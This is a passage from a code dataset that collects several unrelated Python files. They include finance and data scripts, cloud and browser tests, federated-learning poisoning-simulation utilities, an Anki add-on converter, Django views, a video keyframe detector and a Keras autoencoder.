index += 1\n                        print(\"{}'s Cash flow = {:.2f}$\".format(MONTH, cash_flow))\n                        if str(row[4:5]) in '[DN]UBER':\n                            print('Working')\n                        else:\n                            print('Not working')\n                        print('\\n- ' +'- '*100)\n                else:\n                    pass\n        for value in transactions_list:\n            if float(value) < 0:\n                list_debit.append(float(value))\n            elif float(value) > 0:\n                list_credit.append(float(value))\n            else:\n                print('Error')\n        print('List of credit = {}'.format(list_credit))\n        print('Total credit = {:.2f}$'.format(sum(list_credit)))\n        print('List of debit = {}'.format(list_debit))\n        print('Total debit = {:.2f}$'.format(sum(list_debit)))\n\nif user_choice == '2':\n    with open(file, mode = 'r') as csv_file:\n        csv_reader = csv.reader(csv_file, delimiter = ',')\n        for row in csv_reader:\n                if len(row) > 0:\n                    if index < 1:\n                        pass\n                        index += 1\n                    else:\n                        transaction_value = row[3:4]\n                        transactions_list += transaction_value\n                        cash_flow = sum(transactions_list)\n                        cash_flow_list.append(cash_flow)\n                        index += 1\n                        index_list.append(index)\n        plot(cash_flow_list, index_list)\n","repo_name":"mateussfeir/Personal_finance","sub_path":"personal_finance_R7.py","file_name":"personal_finance_R7.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15613354978","text":"import configparser\nimport os\n\nimport pytest\n\nfrom onecontainer_cloud_tool.services import service\nimport onecontainer_cloud_tool.config as config\n\ndef test_azure_no_init():\n    azure = service(\"azure\")\n    azure.initialize(\"region\")\n    assert not os.path.isfile(config.CONFIG_FILE)\n\n\ndef test_azure_no_deploy():\n    azure = service(\"azure\")\n    num_of_sections = 0\n    new_num_of_sections = 0\n\n    with pytest.raises(AssertionError) as pytest_wrapped_e:\n        if os.path.isfile(config.CONFIG_FILE):\n            ini_conf = configparser.ConfigParser()\n            ini_conf.read(config.CONFIG_FILE)\n\n            num_of_sections = len(ini_conf.sections())\n            azure.deploy(\n                \"m5n.large\", \"sysstacks/dlrs-tensorflow-ubuntu\", \"UbuntuServer\"\n            )\n\n            ini_conf.read(config.CONFIG_FILE)\n            new_num_of_sections = len(ini_conf.sections())\n\n        assert new_num_of_sections == num_of_sections + 1\n        assert pytest_wrapped_e == AssertionError\n\n\ndef test_azure_stop():\n    with pytest.raises(SystemExit) as pytest_wrapped_e:\n        azure = service(\"azure\")\n        azure.stop()\n        assert not os.path.isfile(config.CONFIG_FILE)\n        assert pytest_wrapped_e.value == 1\n","repo_name":"intel/oneContainer-Cloud-Tool","sub_path":"tests/test_azure.py","file_name":"test_azure.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"5933742370","text":"# -*- coding: utf-8 -*-\nimport pytest\nfrom selenium.common.exceptions import (\n    StaleElementReferenceException,\n    TimeoutException,\n    WebDriverException,\n)\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n_WAIT_TIME = 30\n\n\ndef _get_info_window_markers(selenium):\n    return selenium.find_elements_by_xpath(\n        \"//div[@class='info-window']//div[contains(@title,'תאונה')]\"\n    )\n\n\ndef _ajax_finished(selenium):\n    return selenium.execute_script(\"return jQuery.active == 0\")\n\n\ndef _check_accidents(selenium):\n    accidents_element = WebDriverWait(selenium, 30).until(\n        expected_conditions.visibility_of_element_located((By.XPATH, \"//a[@onclick = 'showFilter(FILTER_MARKERS)']\"))\n    )\n    try:\n        accidents = int(accidents_element.text)\n    except StaleElementReferenceException:\n        return False\n\n    if not accidents:\n        return False\n\n    markers_in_info_window = _get_info_window_markers(selenium)\n    if accidents != len(markers_in_info_window):\n        return False\n\n    return accidents\n\n\ndef _go_to_location(selenium, location):\n    selenium.find_element_by_id(\"pac-input\").send_keys(location + \"\\n\")\n\n\ndef _click_a_cluster(selenium):\n    elements = selenium.find_elements_by_xpath(\"//div[@class='cluster']/div\")\n    for element in elements:\n        if not (element.is_displayed() and element.is_enabled()):\n            continue\n\n        try:\n            element.click()\n        except WebDriverException:\n            continue\n\n        try:\n            WebDriverWait(selenium, 3).until(\n                expected_conditions.visibility_of_element_located(\n                    (By.XPATH, \"//a[@onclick = 'showFilter(FILTER_MARKERS)']\")\n                )\n            )\n        except TimeoutException:\n            continue\n        else:\n            return True\n\n    return False\n\n\n@pytest.mark.browser\ndef test_sanity(selenium, anyway_server):\n    selenium.get(anyway_server)\n\n    _go_to_location(selenium, location=\"מגדל משה אביב\")\n    WebDriverWait(selenium, _WAIT_TIME).until(_ajax_finished)\n\n    first_accidents = WebDriverWait(selenium, _WAIT_TIME).until(_check_accidents)\n    zoom_out_button = WebDriverWait(selenium, _WAIT_TIME).until(\n        expected_conditions.element_to_be_clickable((By.XPATH, \"//button[@title='הקטנת התצוגה']\"))\n    )\n\n    zoom_out_button.click()\n    WebDriverWait(selenium, _WAIT_TIME).until(_ajax_finished)\n    WebDriverWait(selenium, _WAIT_TIME).until(\n        lambda selenium: _check_accidents(selenium) > first_accidents\n    )\n\n    zoom_out_button.click()\n    zoom_out_button.click()\n    WebDriverWait(selenium, _WAIT_TIME).until(_ajax_finished)\n    WebDriverWait(selenium, _WAIT_TIME).until(\n        lambda selenium: len(_get_info_window_markers(selenium)) == 0\n    )\n","repo_name":"data-for-change/anyway","sub_path":"tests/test_browser.py","file_name":"test_browser.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"22"}
+{"seq_id":"4392794617","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\n\n\ndef vectorize_weight(state_dict):\n    weight_list = []\n    for (k, v) in state_dict.items():\n        if is_weight_param(k):\n            weight_list.append(v.flatten())\n    return torch.cat(weight_list)\n\n\ndef is_weight_param(k):\n    return (\n        \"running_mean\" not in k\n        and \"running_var\" not in k\n        and \"num_batches_tracked\" not in k\n    )\n\n\ndef compute_euclidean_distance(v1, v2):\n    return (v1 - v2).norm()\n\n\ndef compute_middle_point(alphas, model_list):\n    \"\"\"\n\n    Args:\n        alphas: weights of model_dict\n        model_dict: a model submitted by a user\n\n    Returns:\n\n    \"\"\"\n    sum_batch = torch.zeros(model_list[0].shape)\n    for a, a_batch_w in zip(alphas, model_list):\n        sum_batch += a * a_batch_w\n    return sum_batch\n\n\ndef get_total_sample_num(model_list):\n    sample_num = 0\n    for i in range(len(model_list)):\n        local_sample_num, local_model_params = model_list[i]\n        sample_num += local_sample_num\n    return sample_num\n\n\ndef get_malicious_client_id_list(random_seed, client_num, malicious_client_num):\n    if client_num == malicious_client_num:\n        client_indexes = [client_index for client_index in range(client_num)]\n    else:\n        num_clients = min(malicious_client_num, client_num)\n        np.random.seed(\n            random_seed\n        )  # make sure for each comparison, we are selecting the same clients each round\n        client_indexes = np.random.choice(range(client_num), num_clients, replace=False)\n    print(\"client_indexes = %s\" % str(client_indexes))\n    return client_indexes\n\n\ndef replace_original_class_with_target_class(\n    data_labels, original_class_list=None, target_class_list=None\n):\n    \"\"\"\n    :param targets: Target class IDs\n    :type targets: list\n    :return: new class IDs\n    \"\"\"\n\n    if (\n        len(original_class_list) == 0\n        or len(target_class_list) == 0\n        or original_class_list is None\n        or target_class_list is None\n    ):\n        return data_labels\n    if len(original_class_list) != len(target_class_list):\n        raise ValueError(\n            \"the length of the original class list is not equal to the length of the targeted class list\"\n        )\n    if len(set(original_class_list)) < len(\n        original_class_list\n    ):  # no need to check the targeted classes\n        raise ValueError(\"the original classes can not be same\")\n\n    for i in range(len(original_class_list)):\n        for idx in range(len(data_labels)):\n            if data_labels[idx] == original_class_list[i]:\n                data_labels[idx] = target_class_list[i]\n    return data_labels\n\n\ndef log_client_data_statistics(poisoned_client_ids, train_data_local_dict):\n    \"\"\"\n    Logs all client data statistics.\n\n    :param poisoned_client_ids: list of malicious clients\n    :type poisoned_client_ids: list\n    :param train_data_local_dict: distributed dataset\n    :type train_data_local_dict: list(tuple)\n    \"\"\"\n    for client_idx in range(len(train_data_local_dict)):\n        if client_idx in poisoned_client_ids:\n            targets_set = {}\n            for _, (_, targets) in enumerate(train_data_local_dict[client_idx]):\n                for target in targets.numpy():\n                    if target not in targets_set.keys():\n                        targets_set[target] = 1\n                    else:\n                        targets_set[target] += 1\n            print(\"Client #{} has data distribution:\".format(client_idx))\n            for item in targets_set.items():\n                print(\"target:{} num:{}\".format(item[0], item[1]))\n\n\ndef cross_entropy_for_onehot(pred, target):\n    return torch.mean(torch.sum(-target * F.log_softmax(pred, dim=-1), 1))\n\ndef label_to_onehot(target, num_classes=100):\n    target = torch.unsqueeze(target, 1)\n    onehot_target = torch.zeros(target.size(0), num_classes, device=target.device)\n    onehot_target.scatter_(1, target, 1)\n    return onehot_target\n","repo_name":"phenomenal-manish/FedML","sub_path":"python/fedml/core/security/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"35413629823","text":"import logging\n\nfrom aqt.qt import *\nfrom anki.hooks import addHook\nfrom aqt.utils import tooltip\n\nfrom xml.dom import minidom\n\nfrom .config import *\nfrom .dialogs import ioAskUser\nfrom .utils import img2path, fname2img\n\n\nclass ImgOccNoteConverter(object):\n    def __init__(self, browser):\n        self.browser = browser\n        self.occl_id_last = None\n        loadConfig(self)\n\n    def convertNotes(self, nids):\n        \"\"\"Main note conversion method\"\"\"\n        nids_by_nr = {}\n        skipped = 0\n        (io_nids, filtered) = self.filterSelected(nids)\n        for nid in io_nids:\n            note = mw.col.getNote(nid)\n            (uniq_id, note_nr) = self.getDataFromNamingScheme(note)\n            if uniq_id == False:\n                logging.debug(\"Skipping note that couldn't be parsed: %s\", nid)\n                skipped += 1\n                continue\n            occl_tp = self.getOcclTypeAndNodes(note)\n            occl_id = uniq_id + '-' + occl_tp\n            if occl_id == self.occl_id_last:\n                logging.debug(\n                    \"Skipping note that we've just converted: %s\", nid)\n                continue\n            self.occl_id_last = occl_id\n            for nid in self.findByNoteId(uniq_id):\n                note = mw.col.getNote(nid)\n                (uniq_id, note_nr) = self.getDataFromNamingScheme(note)\n                if uniq_id == False:\n                    logging.debug(\n                        \"Skipping note that couldn't be parsed: %s\", nid)\n                    skipped += 1\n                    continue\n                nids_by_nr[int(note_nr)] = nid\n            self.idAndCorrelateNotes(nids_by_nr, occl_id)\n        converted = len(io_nids)\n        tooltip(\"<b>%i</b> notes updated, <b>%i</b> skipped\"\n                % (converted - skipped, filtered + skipped))\n\n    def filterSelected(self, nids):\n        \"\"\"Filters out notes with the wrong note type and those that are\n        valid already\"\"\"\n        io_nids = []\n        filtered = 0\n        for nid in nids:\n            note = mw.col.getNote(nid)\n            if note.model() != self.model:\n                logging.debug(\"Skipping note with wrong note type: %s\", nid)\n                filtered += 1\n                continue\n            elif note[self.ioflds['id']]:\n                logging.debug(\n                    \"Skipping IO note that is already editable: %s\", nid)\n                filtered += 1\n                continue\n            elif not note[self.ioflds['om']]:\n                logging.debug(\n                    \"Skipping IO note without original SVG mask: %s\", nid)\n                filtered += 1\n                continue\n            logging.debug(\"Found IO note in need of update: %s\", nid)\n            io_nids.append(nid)\n        return (io_nids, filtered)\n\n    def findByNoteId(self, note_id):\n        \"\"\"Search collection for notes with given ID in their omask paths\"\"\"\n        # need to use omask path because Note ID field is not yet set\n        query = '\"%s:*%s*\"' % (self.ioflds['om'], note_id)\n        logging.debug(\"query: %s\", query)\n        res = mw.col.findNotes(query)\n        return res\n\n    def getDataFromNamingScheme(self, note):\n        \"\"\"Get unique ID and note nr from qmask path\"\"\"\n        qmask = note[self.ioflds['qm']]\n        path = img2path(qmask, True)\n        if not path:\n            return (False, None)\n        grps = path.split('_')\n        try:\n            if len(grps) == 2:\n                logging.debug(\"Extracting data using IO 2.0 naming scheme\")\n                uniq_id = grps[0]\n                note_nr = path.split(' ')[1].split('.')[0]\n            else:\n                logging.debug(\n                    \"Extracting data using IO Enhanced naming scheme\")\n                grps = path.split('-')\n                uniq_id = grps[0]\n                note_nr = int(grps[2]) - 1\n            return (uniq_id, note_nr)\n        except IndexError:\n            return (False, None)\n\n    def idAndCorrelateNotes(self, nids_by_nr, occl_id):\n        \"\"\"Update Note ID fields and omasks of all occlusion session siblings\"\"\"\n        logging.debug(\"occl_id %s\", occl_id)\n        logging.debug(\"nids_by_nr %s\", nids_by_nr)\n        logging.debug(\"mnode_idxs %s\", self.mnode_idxs)\n\n        for nr in sorted(nids_by_nr.keys()):\n            try:\n                midx = self.mnode_idxs[nr]\n            except IndexError:\n                continue\n            nid = nids_by_nr[nr]\n            note = mw.col.getNote(nid)\n            new_mnode_id = occl_id + '-' + str(nr+1)\n            self.mnode.childNodes[midx].setAttribute(\"id\", new_mnode_id)\n            note[self.ioflds['id']] = new_mnode_id\n            note.flush()\n            logging.debug(\"Adding ID for note nr %s\", nr)\n            logging.debug(\"midx %s\", midx)\n            logging.debug(\"nid %s\", nid)\n            logging.debug(\"note %s\", note)\n            logging.debug(\"new_mnode_id %s\", new_mnode_id)\n\n        new_svg = self.svg_node.toxml()\n        omask_path = self._saveMask(new_svg, occl_id, \"O\")\n        logging.debug(\"omask_path %s\", omask_path)\n\n        for nid in list(nids_by_nr.values()):\n            note = mw.col.getNote(nid)\n            note[self.ioflds['om']] = fname2img(omask_path)\n            note.addTag(\".io-converted\")\n            note.flush()\n            logging.debug(\"Setting om and tag for nid %s\", nid)\n\n    def getOcclTypeAndNodes(self, note):\n        \"\"\"Determine oclusion type and svg mask nodes\"\"\"\n        nr_of_masks = {}\n        mnode_idxs = {}\n        svg_mlayer = {}\n        for i in [\"qm\", \"om\"]:  # om second, so that end vars are correct\n            svg_file = img2path(note[self.ioflds[i]], True)\n            svg_node = self.readSvg(svg_file)\n            svg_mlayer = self.layerNodesFrom(svg_node)[-1]  # topmost layer\n            mnode_idxs = self.getMaskNodes(svg_mlayer)\n            nr_of_masks[i] = len(mnode_idxs)\n        # decide on occl_tp based on nr of mask nodes in omask vs qmask\n        if nr_of_masks[\"om\"] != nr_of_masks[\"qm\"]:\n            occl_tp = \"oa\"\n        else:\n            occl_tp = \"ao\"\n        self.svg_node = svg_node\n        self.mnode = svg_mlayer\n        self.mnode_idxs = mnode_idxs\n        return occl_tp\n\n    def readSvg(self, svg_file):\n        \"\"\"Read and fix malformatted IO 2.0 SVGs\"\"\"\n        svg_doc = minidom.parse(svg_file)\n        # ugly workaround for wrong namespace in older IO notes:\n        svg_string = svg_doc.toxml().replace('ns0:', '').replace(':ns0', '')\n        svg_string = str(svg_string)\n        svg_doc = minidom.parseString(svg_string.encode('utf-8'))\n        svg_node = svg_doc.documentElement\n        return svg_node\n\n    def getMaskNodes(self, mlayer):\n        \"\"\"Find mask nodes in masks layer\"\"\"\n        mnode_indexes = []\n        for i, node in enumerate(mlayer.childNodes):\n            if (node.nodeType == node.ELEMENT_NODE) and (node.nodeName != 'title'):\n                mnode_indexes.append(i)\n        return mnode_indexes\n\n    def layerNodesFrom(self, svg_node):\n        \"\"\"Get layer nodes (topmost group nodes below the SVG node)\"\"\"\n        assert (svg_node.nodeType == svg_node.ELEMENT_NODE)\n        assert (svg_node.nodeName == 'svg')\n        layer_nodes = [node for node in svg_node.childNodes\n                       if node.nodeType == node.ELEMENT_NODE]\n        assert (len(layer_nodes) >= 1)\n        # last, i.e. top-most element, needs to be a layer:\n        assert (layer_nodes[-1].nodeName == 'g')\n        return layer_nodes\n\n    def _saveMask(self, mask, note_id, mtype):\n        \"\"\"Write mask to file in media collection\"\"\"\n        logging.debug(\"!saving %s, %s\", note_id, mtype)\n        mask_path = '%s-%s.svg' % (note_id, mtype)\n        mask_file = open(mask_path, 'w')\n        mask_file.write(mask.encode('utf-8'))\n        mask_file.close()\n        return mask_path\n\n\ndef onIoConvert(self):\n    \"\"\"Launch initial dialog, set up checkpoint, invoke converter\"\"\"\n    mw = self.mw\n    selected = self.selectedNotes()\n    if not selected:\n        tooltip(\"No cards selected.\", period=2000)\n        return\n    ret = ioAskUser(\"question_nconvert\", title=\"Please confirm action\",\n                    parent=self, defaultno=True)\n    if not ret:\n        return False\n    mw.progress.start()\n    mw.checkpoint(\"Image Occlusion Note Conversions\")\n    self.model.beginReset()\n    conv = ImgOccNoteConverter(self)\n    conv.convertNotes(selected)\n    self.model.endReset()\n    mw.col.reset()\n    mw.reset()\n    mw.progress.finish()\n\n# Set up menus and hooks\n\n\ndef setupMenu(self):\n    menu = self.form.menuEdit\n    menu.addSeparator()\n    a = menu.addAction(\"Convert to Editable IO &Enhanced Notes\")\n    a.triggered.connect(lambda _, b=self: onIoConvert(b))\n\n\naddHook(\"browser.setupMenus\", setupMenu)\n","repo_name":"ankichinateam/AnkiChinaPC","sub_path":"predata/ANKIChinaPlug/1374772155/nconvert.py","file_name":"nconvert.py","file_ext":"py","file_size_in_byte":8696,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"}
+{"seq_id":"27667879821","text":"\"\"\"Define commands for Python 2.7\"\"\"\nimport argparse\nimport traceback\n\nfrom . import util\nfrom .cmd import run\nfrom .cmd import extractpipenv\n\ndef main():\n    \"\"\"Main function\"\"\"\n    print(\"This version is not supported! It has limitted analysis features\")\n    parser = argparse.ArgumentParser(description='Analyze Jupyter Notebooks')\n    subparsers = parser.add_subparsers()\n    run.create_subparsers(subparsers)\n    extractpipenv.create_subparsers(subparsers)\n\n    args, rest = parser.parse_known_args()\n    try:\n        if not getattr(args, 'func', None):\n            parser.print_help()\n        else:\n            args.func(args, rest)\n        if not util.EXITED:\n            util.do_exit(0)\n    except:  # pylint: disable=bare-except\n        if not util.EXITED:\n            traceback.print_exc()\n            util.do_exit(1)\n","repo_name":"dew-uff/julynter","sub_path":"julynter/oldcmd.py","file_name":"oldcmd.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"22"}
+{"seq_id":"24966363760","text":"from django.shortcuts import render\nimport string\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom .models import Query\nfrom django.utils.timezone import now\n\n\n# Create your views here.\n@api_view([\"POST\"])\ndef create(request):\n    try:\n        user = request.user\n        if user is None:\n            raise Exception(\"User not found\")\n        if user.type == \"seller\":\n            raise Exception(\"Seller cannot create queries\")\n        if user.type == \"consumer\":\n            # add to db\n            query = Query(\n                product_id=request.data[\"product_id\"],\n                user_email=user.email,\n                seller_email=request.data[\"seller_email\"],\n                query_option=request.data[\"query_option\"],\n                status=\"pending\",\n                event_date=now()\n            )\n            query.save()\n\n        return Response(\n            {\"message\": \"Query created successfully\"}, status=status.HTTP_201_CREATED\n        )\n    except Exception as e:\n        print(e)\n        return Response({\"message\": str(e)}, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"Post\"])\ndef getQueries(request):\n    try:\n        user = request.user\n        if user is None:\n            raise Exception(\"User not found\")\n        if user.type == \"consumer\":\n            raise Exception(\"Consumer cannot get queries\")\n        if user.type == \"seller\":\n            query_data = []\n            queries = Query.objects.filter(seller_email=user.email)\n            for query in queries:\n                query_data.append(\n                    {\n                        \"id\": query.id,\n                        \"product_id\": query.product_id,\n                        \"user_email\": query.user_email,\n                        \"seller_email\": query.seller_email,\n                        \"query_option\": query.query_option,\n                        \"time\": query.event_date,\n                        \"status\": query.status,\n                    }\n                )\n            return Response({\"queries\": query_data}, status=status.HTTP_200_OK)\n    except Exception as e:\n        print(e)\n        return Response({\"message\": str(e)}, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"Post\"])\ndef UpdateQuery(request):\n    try:\n        user = request.user\n        if user is None:\n            raise Exception(\"User not found\")\n        if user.type == \"consumer\":\n            raise Exception(\"Consumer cannot update queries\")\n        if user.type == \"seller\":\n            query = Query.objects.filter(id=request.data[\"id\"])\n            if query is None:\n                raise Exception(\"Query not found\")\n            query.update(status=request.data[\"status\"])\n            return Response(\n                {\"message\": \"Query updated successfully\"}, status=status.HTTP_200_OK\n            )\n    except Exception as e:\n        return Response({\"message\": str(e)}, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"COS301-SE-2023/e-Mall","sub_path":"api/queries/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"24354663315","text":"# 给定一个二维矩阵，计算其子矩形范围内元素的总和，该子矩阵的左上角为 (row1, col1) ，右下角为 (row2, col2) 。\n#\n# 给定 matrix = [\n#   [3, 0, 1, 4, 2],\n#   [5, 6, 3, 2, 1],\n#   [1, 2, 0, 1, 5],\n#   [4, 1, 0, 1, 7],\n#   [1, 0, 3, 0, 5]\n# ]\n#\n# sumRegion(2, 1, 4, 3) -> 8\n# sumRegion(1, 1, 2, 2) -> 11\n# sumRegion(1, 2, 2, 4) -> 12\n\n# 类 20.py  要通过 前缀和来表示， 分为 一维和二维\n\n\nclass NumMatrix:\n\n    def __init__(self, matrix: List[List[int]]):\n        if not matrix or not matrix[0]:\n            M, N = 0, 0\n        else:\n            M, N = len(matrix), len(matrix[0])\n        self.preSum = [[0] * (N + 1) for _ in range(M + 1)]\n        for i in range(M):\n            for j in range(N):\n                self.preSum[i + 1][j + 1] = self.preSum[i][j + 1] + self.preSum[i + 1][j]  - self.preSum[i][j] + matrix[i][j]\n\n\n    def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n        return self.preSum[row2 + 1][col2 + 1] - self.preSum[row2 + 1][col1] - self.preSum[row1][col2 + 1] + self.preSum[row1][col1]\n\n\n# 时间复杂度：构造函数的时间复杂度是 O(M * N)； sumRegion 函数的时间复杂度是 O(1)\n# 空间复杂度：利用了preSum 矩阵，空间是 O(M * N)。\n","repo_name":"Dis-count/ProgrammingPractice","sub_path":"21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32381733599","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__ = 'QiuZiXian'  http://blog.csdn.net/qqzhuimengren/   1467288927@qq.com\n# @time          :2020/8/25  10:37\n# @abstract    :\n\nimport pandas as pd\n\n\ndf = pd.read_excel(\"./1.xlsx\")\n\nprint(df.head())\n\nmeans = df.mean()\ndata = pd.DataFrame(means).T\nprint(data)\n\ndata.to_excel(\"./2.xlsx\", index=None)\nprint(\"ok!\")\n\n","repo_name":"QiuZiXian/python-learning-process","sub_path":"extend_work/third/pandas0825.py","file_name":"pandas0825.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"30941709352","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport skimage\nimport imageio\nimport pandas as pd\nfrom scipy.spatial.distance import cdist\nfrom scipy.spatial.distance import hamming\nfrom skimage import filters\n\ndef get_points(point_list, descriptor, frame_nr, kind):\n    points = list()\n    for i, point in enumerate(point_list):\n        x, y = point.pt\n        single_point = {\"x\": x, \"y\": y, \"frame_nr\": frame_nr, \"kind\": kind, \"descriptor\": descriptor[i,:]}\n        points.append(single_point)\n    return points\n\ndef descriptor_to_matrix(descriptor):\n    output = list()\n    for element in descriptor:\n        output.append(element)\n    output = np.array(output)\n    return output\n\ndef normalize_img(img):\n    min = np.min(img)\n    max = np.max(img)\n    normalized_image = (img - min) / (max-min)\n    return normalized_image\n\ndef blur_img(img, K=1):\n    sigma = 1\n    blured_image = filters.gaussian(img, k*sigma)\n    return normalize_img(blured_image)\n\ndef DoG(img):\n    #img1 = blur_img(img, K=1)\n    blured_img = blur_img(img, K=1.6)\n    mean_squared_error = np.sum((normalize_img(img) - blured_img) ** 2) / np.sum(img.shape)\n    return mean_squared_error\n\ndef calc_distance(descriptor1, descriptor2):\n    values1 = descriptor_to_matrix(descriptor1.values)\n    values2 = descriptor_to_matrix(descriptor2.values)\n    ## todo make it in both directions\n    result = cdist(values1, values2, 'hamming')\n    # best_point = np.argsort(result,axis=0)\n    nearest_points = np.sort(result[::-1], axis=0)\n    nearest_point = nearest_points[0, :]\n    nearest_point = np.sort(nearest_point[::-1], axis=0)\n    n_points = int(nearest_point.shape[0] * 0.25)\n    dist_to_frame = np.mean(nearest_point[0:n_points])\n    return dist_to_frame\n\n\nvideo_path = \"/home/rosst/Documents/endovis2018/Prokto1.avi\"\nsliding_window_size=10\nvideo = imageio.get_reader(video_path)\nn_frames = video._get_meta_data(0)['nframes']\n\norb = cv2.ORB_create()\nsurf = cv2.xfeatures2d.SURF_create(400)\n\nfeatures = pd.DataFrame(columns=[\"frame_nr\", \"kind\", \"x\", \"y\"])\nframe_distances = np.zeros(sliding_window_size,)\nprevious_keyframe_nr = -1\nkeyframe_counter = 0\n\nfor i in range(0,n_frames):\n    # set variables\n    is_keyframe = False\n    k = 4\n\n    # get current frame\n    current_frame = video.get_data(i)\n\n    # find features\n    kp = orb.detect(current_frame) # find keypoints\n    kp_orb, des_orb = orb.compute(current_frame, kp) # compute the descriptors with ORB\n\n    kp_surf, des_surf = surf.detectAndCompute(current_frame, mask=None) # surf\n\n    orb_points = pd.DataFrame(get_points(kp_orb, descriptor=des_orb, frame_nr=i, kind=\"ORB\"))\n    surf_points = pd.DataFrame(get_points(kp_surf, descriptor=des_surf, frame_nr=i, kind=\"SURF\"))\n    #frames = pd.concat([frames, orb_points, surf_points])\n    features = pd.concat([features, orb_points])\n\n    # calc distance\n    if i>0:\n        features_current_frame = features[features['frame_nr'] == i]\n        features_previous_frame = features[features['frame_nr'] == i - 1]\n\n        dist_to_frame = calc_distance(features_previous_frame.descriptor, features_current_frame.descriptor)\n        # append dist at the beginning and delete last element\n        frame_distances = np.append(frame_distances[1:],[dist_to_frame])\n\n    # find keyframes\n    if(i > sliding_window_size):\n\n        frame_distances_mean = np.mean(frame_distances)\n        frame_distances_std = np.sum(np.power((frame_distances - frame_distances_mean), 2)) * 1 / sliding_window_size\n        if frame_distances[-1] < (frame_distances_mean - k * frame_distances_std):\n            is_keyframe = True\n        if (frame_distances_mean + frame_distances_std)<=frame_distances[-1]:\n            is_keyframe = True\n\n        ## todo correct threshold\n        # if keyframe is too close to previous one\n        if is_keyframe & (previous_keyframe_nr>-1):\n            previous_keyframe = features[features['frame_nr'] == previous_keyframe_nr]\n            dist_to_frame = calc_distance(previous_keyframe.descriptor, features_current_frame.descriptor)\n            threshold = 0.6\n            if dist_to_frame < threshold:\n                is_keyframe = False\n\n        # if keyframe is too blury\n        if is_keyframe:\n            if DoG(current_frame) < 0.75:\n                is_keyframe = False\n\n\n        if is_keyframe:\n            font = cv2.FONT_HERSHEY_SIMPLEX\n            cv2.putText(current_frame, \"KeyframeNr: {}\".format(keyframe_counter), (10, 200), font, 4, (255,255,255), 2, cv2.LINE_AA)\n            cv2.imshow('keyframe', current_frame)\n            previous_keyframe_nr = i\n            keyframe_counter +=1\n            if cv2.waitKey(1) & 0xFF == ord('q'):\n               break\n            print(\"Dist to previous keyframe: {}\".format(dist_to_frame))\n\n\n        cv2.imshow('current_frame', current_frame)\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n\n    # draw only keypoints location,not size and orientation\n    #test = cv2.drawKeypoints(img,kp,color=(0,255,0), flags=0)\n    #test = cv2.drawKeypoints(img,kp, outImage=np.zeros(np.shape(img)))\n    #cv2.imshow('frame', test)\n    #if cv2.waitKey(1) & 0xFF == ord('q'):\n    #    break\n\n","repo_name":"ekmungi/surgical_workflow","sub_path":"create_keyframes.py","file_name":"create_keyframes.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"71429640696","text":"\"\"\"\n\nGeorgia Doing 2020\nDenoising Autoencoder with P.a. RNAseq\n\nUsage:\n\n\trun_model.py <dataset> [--seed=<SEED>]\n\nOptions:\n\t-h --help\t\t\tShow this screen\n\t<dataset>\t\t\tFile patht to RNAseq compnedium\n\t--seed = <SEED>\t\tRandom seed for training [default: 1]\n\nOutput:\n\t\n\t**Weights, Loss and validation loss saved as files\n\"\"\"\n\nimport os\nos.environ['KERAS_BACKEND'] = 'tensorflow'\nimport keras as keras\nimport argparse \nimport numpy as np\nimport csv\nimport pandas as pd\n\nfrom keras import optimizers, regularizers, layers\nfrom keras.layers import Input, Dense\nfrom keras.models import Model, Sequential\n#from tensorflow.keras import initializers\nimport TiedWeightsEncoder as tw\nimport Adage as ad\n\n\nfrom keras import initializers\n\n\ndef run_model(input_file, seed=123, epochs=50, kl1=0, kl2=0,\n\t\t\t  act='sigmoid', init='glorot_uniform', tied=True, batch_size=10):\n\t\"\"\"\n\n\t\"\"\"\n\tprint(keras.backend.backend())\n\t#all_comp = np.loadtxt(open(input_file, \"rb\"), delimiter=',', skiprows = 1)\n\tall_comp = pd.read_csv(input_file, index_col=0)\n\t # this is the size of our input\n\tgene_num = np.size(all_comp, 0)\n\tencoding_dim = 300\n\n\tx_train, x_train_noisy = prep_data(all_comp, seed)\n\n\tif(tied):\n\t\tautoencoder = linked_ae(encoding_dim, gene_num, act, init,\n\t\t\t\t\t\t\t\tseed, kl1, kl2)\n\telse:\n\t\tautoencoder = unlinked_ae(encoding_dim, gene_num, act, init,\n\t\t\t\t\t\t\t\t  seed, kl1, kl2)\n\tautoencoder, history = train_model(autoencoder, x_train, \n\t\t                               x_train_noisy, epochs, seed, batch_size)\n\tweights = autoencoder.get_weights()\n\n\tfile_desc = (input_file[:-4] + '_seed:' + 